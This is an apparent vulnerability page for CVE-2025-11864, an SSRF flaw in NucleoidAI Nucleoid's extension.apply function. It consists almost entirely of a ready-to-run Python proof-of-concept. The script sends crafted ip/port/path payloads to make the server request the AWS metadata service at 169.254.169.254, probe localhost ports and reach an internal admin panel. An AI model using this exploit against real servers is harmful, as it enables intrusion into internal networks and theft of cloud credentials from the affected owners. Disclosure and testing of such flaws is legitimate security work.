CVE-2025-11864：NucleoidAI Nucleoid SSRF服务器端请求伪造漏洞

# CVE-2025-11864 PoC - NucleoidAI Nucleoid SSRF # Vulnerability: Server-Side Request Forgery in extension.apply function # Affected file: /src/cluster.ts # Affected versions: <= 0.7.10 import requests TARGET_URL = "http://target-nucleoid-server:PORT" # The extension.apply function accepts user-controlled parameters # including https/ip/port/path/headers, allowing SSRF attacks def exploit_ssrf(target, internal_ip, internal_port, path="/"): """ Exploit SSRF via extension.apply function in cluster.ts By manipulating the https/ip/port/path/headers arguments, an attacker can force the server to make requests to arbitrary destinations. """ # Craft payload to trigger SSRF through extension.apply payload = { "https": False, "ip": internal_ip, "port": internal_port, "path": path, "headers": { "Content-Type": "application/json" } } # Send request to the vulnerable extension.apply endpoint response = requests.post( f"{target}/api/extension/apply", json=payload, timeout=10 ) print(f"[*] SSRF Response Status: {response.status_code}") print(f"[*] SSRF Response Body: {response.text}") return response # Example usage: Access internal metadata service if __name__ == "__main__": # Example 1: Access AWS metadata service print("[+] Attempting to access internal metadata service...") exploit_ssrf(TARGET_URL, "169.254.169.254", 80, "/latest/meta-data/") # Example 2: Scan internal network print("[+] Attempting internal port scan...") exploit_ssrf(TARGET_URL, "127.0.0.1", 8080, "/") # Example 3: Access internal services print("[+] Attempting to access internal admin panel...") exploit_ssrf(TARGET_URL, "192.168.1.1", 80, "/admin")